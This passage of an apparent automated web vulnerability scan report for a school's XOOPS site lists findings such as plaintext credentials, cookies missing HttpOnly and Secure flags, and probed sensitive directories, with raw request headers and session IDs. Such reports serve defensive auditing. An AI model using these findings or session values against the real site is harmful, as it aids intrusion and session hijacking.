e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadnews/index.php



Details

Request headers

GET /modules/tadnews/index.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/modules/tadnews/newspaper.php
Details

Request headers

GET /modules/tadnews/newspaper.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadnews/page.php
Details

Request headers

GET /modules/tadnews/page.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/search.php
Details

Request headers

GET /search.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 



 User credentials are sent in clear text

Severity Medium
Reported by module /Crawler/12-Crawler_User_Credentials_Plain_Text.js

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an
encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an
encrypted connection (HTTPS).

Affected items

Web Server
Details

Request headers

GET / HTTP/1.1 
Cookie: PHPSESSID=p0hect0s0l3ttnp1mj2eftphs4 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/index.php
Details

Request headers

GET /index.php?nsn=&op=delete_tad_news HTTP/1.1 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/profile/index.php
Details

Request headers



GET /modules/profile/index.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/profile/user.php
Details

Request headers

GET /modules/profile/user.php?xoops_redirect=/ HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_idioms/index.php
Details

Request headers

GET /modules/tad_idioms/index.php?nsn=&op=delete_tad_news HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_link/index.php



Details

Request headers

GET /modules/tad_link/index.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/modules/tad_login/index.php
Details

Request headers

GET /modules/tad_login/index.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/modules/tad_lunch3/index.php
Details

Request headers

GET /modules/tad_lunch3/index.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_player/index.php
Details

Request headers



GET /modules/tad_player/index.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_player/play.php
Details

Request headers

GET /modules/tad_player/play.php?psn=1 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_player/playlist.php
Details

Request headers

GET /modules/tad_player/playlist.php?pcsn=1 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadgallery/cooliris.php



Details

Request headers

GET /modules/tadgallery/cooliris.php?nsn=&op=delete_tad_news HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadgallery/index.php
Details

Request headers

GET /modules/tadgallery/index.php?csn=1 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadgallery/view.php
Details

Request headers



GET /modules/tadgallery/view.php?sn=9 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadnews/archive.php
Details

Request headers

GET /modules/tadnews/archive.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadnews/index.php
Details

Request headers

GET /modules/tadnews/index.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/modules/tadnews/newspaper.php
Details

Request headers



GET /modules/tadnews/newspaper.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadnews/page.php
Details

Request headers

GET /modules/tadnews/page.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/search.php
Details

Request headers

GET /search.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

 Cookie(s) without HttpOnly flag set

Severity Low
Reported by module /RPA/Cookie_Without_HttpOnly.js

Description

This cookie does not have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that
the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for
session cookies.

Impact

Cookies can be accessed by client-side scripts.



Recommendation

If possible, you should set the HttpOnly flag for this cookie.

Affected items

Web Server
Details

xoops_user_59afad46=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
xoops_user_59afad46=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Request headers

GET / HTTP/1.1 
Cookie: PHPSESSID=p0hect0s0l3ttnp1mj2eftphs4 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

 Cookie(s) without Secure flag set

Severity Low
Reported by module /RPA/Cookie_Without_Secure.js

Description

This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the
cookie can only be accessed over secure SSL/TLS channels. This is an important security protection for session cookies.

Impact

Cookies could be sent over unencrypted channels.

Recommendation

If possible, you should set the Secure flag for this cookie.

Affected items

Web Server
Details

xoops_user_59afad46=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
xoops_user_59afad46=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Request headers

GET / HTTP/1.1 
Cookie: PHPSESSID=p0hect0s0l3ttnp1mj2eftphs4 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

 Possible sensitive directories



Severity Low
Reported by module /Scripts/PerFolder/Possible_Sensitive_Directories.script

Description

A possible sensitive directory has been found. This directory is not directly linked from the website.This check looks for
common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each
one of these directories could help an attacker to learn more about his target.

Impact

This directory may expose sensitive information that could help a malicious user to prepare more advanced attacks.

Recommendation

Restrict access to this directory or remove it from the website.

References

Web Server Security and Database Server Security (http://www.acunetix.com/websitesecurity/webserver-security/) 

Affected items

Web Server
Details

Request headers

GET /uploads HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /include HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

http://www.acunetix.com/websitesecurity/webserver-security/


GET /modules/system HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /class/database HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /class/auth HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers



GET /modules/profile/admin HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

Web Server
Details

Request headers

GET /modules/profile/sql HTTP/1.1 
Accept: acunetix/wvs 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
